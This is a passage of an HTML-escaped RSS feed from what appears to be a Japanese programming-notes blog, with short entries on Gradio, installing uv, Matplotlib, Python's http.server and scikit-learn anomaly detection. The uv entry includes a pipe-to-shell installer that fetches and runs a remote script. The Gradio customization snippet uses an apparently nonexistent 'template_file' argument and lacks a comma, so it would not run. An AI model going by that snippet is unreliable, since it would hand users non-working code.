&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo &lt;span style="color:#f92672"&gt;=&lt;/span&gt; gr&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Interface(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fn&lt;span style="color:#f92672"&gt;=&lt;/span&gt;greet,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inputs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; outputs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo&lt;span style="color:#f92672"&gt;.&lt;/span&gt;launch()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="gradio-appsvelte-カスタマイズ"&gt;Gradio App.svelte カスタマイズ&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; gradio &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; gr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;greet&lt;/span&gt;(name):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Hello, &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;name&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gr&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Interface(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fn&lt;span style="color:#f92672"&gt;=&lt;/span&gt;greet,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inputs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; outputs&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;My Gradio App&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; description&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;A simple greeting app.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# App.svelteのパスを指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; template_file&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;templates/custom_app.svelte&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# カスタムCSS &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; css&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;custom.css&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;launch()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;custom_app.svelte:&lt;/p&gt;</description></item><item><title>uv</title><link>https://hdknr.github.io/blogs/posts/2025/01/uv/</link><pubDate>Sun, 05 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/uv/</guid><description>&lt;h1 id="uv"&gt;uv&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.astral.sh/uv/"&gt;https://docs.astral.sh/uv/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;nix: &lt;a href="https://github.com/pyproject-nix/uv2nix"&gt;https://github.com/pyproject-nix/uv2nix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;downloading uv 0.5.14 aarch64-apple-darwin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;no checksums to verify
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;installing to /Users/hdknr/.local/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; uvx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;everything&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;s installed!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;To add $HOME/.local/bin to your PATH, either restart your shell or run:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; source $HOME/.local/bin/env &lt;span style="color:#f92672"&gt;(&lt;/span&gt;sh, bash, zsh&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; source $HOME/.local/bin/env.fish &lt;span style="color:#f92672"&gt;(&lt;/span&gt;fish&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% source .local/bin/env
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% which uv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/Users/hdknr/.local/bin/uv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% uv --version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv 0.5.14 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;9f1ba2b96 2025-01-02&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="uvx-uv-tool-run"&gt;uvx (&lt;code&gt;uv tool run&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;uvではdevelop環境で利用するtoolをuv tool(uvx)というコマンド別管理することが可能&lt;/p&gt;</description></item><item><title>Gradio</title><link>https://hdknr.github.io/blogs/posts/2024/12/gradio/</link><pubDate>Mon, 30 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/gradio/</guid><description>&lt;h1 id="gradio"&gt;Gradio&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.gradio.app/"&gt;https://www.gradio.app/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/kzkymn/items/901ba79052190e428697"&gt;機械学習向けWeb UIライブラリ Gradio&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://engineers.safie.link/entry/2023/12/16/hello-gradio"&gt;Gradio: Pythonで簡単にAIをWebアプリ化&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://note.com/npaka/n/nb9d4902f8f4d"&gt;gradio 入門 (1) - 事始め&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://note.com/npaka/n/nb2e78a8a89f5"&gt;gradio 入門 (2) - Interface&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://note.com/npaka/n/n2a5112208b8d"&gt;gradio 入門 (3) - Blocks&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://note.com/npaka/n/nf182ecdf611f"&gt;gradio 入門 (4) - 主な機能&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Matplotlib</title><link>https://hdknr.github.io/blogs/posts/2024/12/matplotlib/</link><pubDate>Fri, 27 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/matplotlib/</guid><description>&lt;h1 id="matplotlib"&gt;Matplotlib&lt;/h1&gt;
&lt;h2 id="ラベル"&gt;ラベル&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://kentei.ai/blog/archives/686"&gt;Matplotlibの軸ラベルが見切れる時の対処法について&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Python: HTTP</title><link>https://hdknr.github.io/blogs/posts/2024/12/python-http/</link><pubDate>Sun, 15 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/python-http/</guid><description>&lt;h1 id="python-http"&gt;Python: HTTP&lt;/h1&gt;
&lt;h2 id="簡単なhtmlサーバーhttpserver--simplehttprequesthandler"&gt;簡単なHTMLサーバー(http.server + SimpleHTTPRequestHandler)&lt;/h2&gt;
&lt;p&gt;ディレクトリ一覧を返す&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; http.server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; socketserver
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Handler &lt;span style="color:#f92672"&gt;=&lt;/span&gt; http&lt;span style="color:#f92672"&gt;.&lt;/span&gt;server&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SimpleHTTPRequestHandler
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; socketserver&lt;span style="color:#f92672"&gt;.&lt;/span&gt;TCPServer((&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;, PORT), Handler) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; httpd:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;serving at port&amp;#34;&lt;/span&gt;, PORT)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; httpd&lt;span style="color:#f92672"&gt;.&lt;/span&gt;serve_forever()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>scikit-learn: 異常検知</title><link>https://hdknr.github.io/blogs/posts/2024/12/scikit-learn-%E7%95%B0%E5%B8%B8%E6%A4%9C%E7%9F%A5/</link><pubDate>Thu, 12 Dec 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/12/scikit-learn-%E7%95%B0%E5%B8%B8%E6%A4%9C%E7%9F%A5/</guid><description>&lt;h1 id="異常検知"&gt;異常検知&lt;/h1&gt;
&lt;h2 id="sklearnを用いた異常検知のサンプルコード"&gt;sklearnを用いた異常検知のサンプルコード&lt;/h2&gt;
&lt;p&gt;sklearn（サイキットラーン）は、Pythonで機械学習を行うための強力なライブラリです。異常検知も、sklearnの様々なアルゴリズムを用いて行うことができます。&lt;/p&gt;
&lt;h3 id="異常検知の手法選択"&gt;異常検知の手法選択&lt;/h3&gt;
&lt;p&gt;異常検知の手法は、データの種類や異常パターンによって異なります。代表的な手法としては、以下のものが挙げられます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One-Class SVM:&lt;/strong&gt; データの境界線を学習し、その境界から離れた点を異常と判定します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Isolation Forest:&lt;/strong&gt; データ点を孤立させるような決定木を複数作成し、異常度をスコア化します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Local Outlier Factor (LOF):&lt;/strong&gt; データ点の近傍の密度に基づいて異常度を計算します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="サンプルコードisolation-forest"&gt;サンプルコード（Isolation Forest）&lt;/h3&gt;
&lt;p&gt;ここでは、Isolation Forestを用いた異常検知のサンプルコードをPythonで記述します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
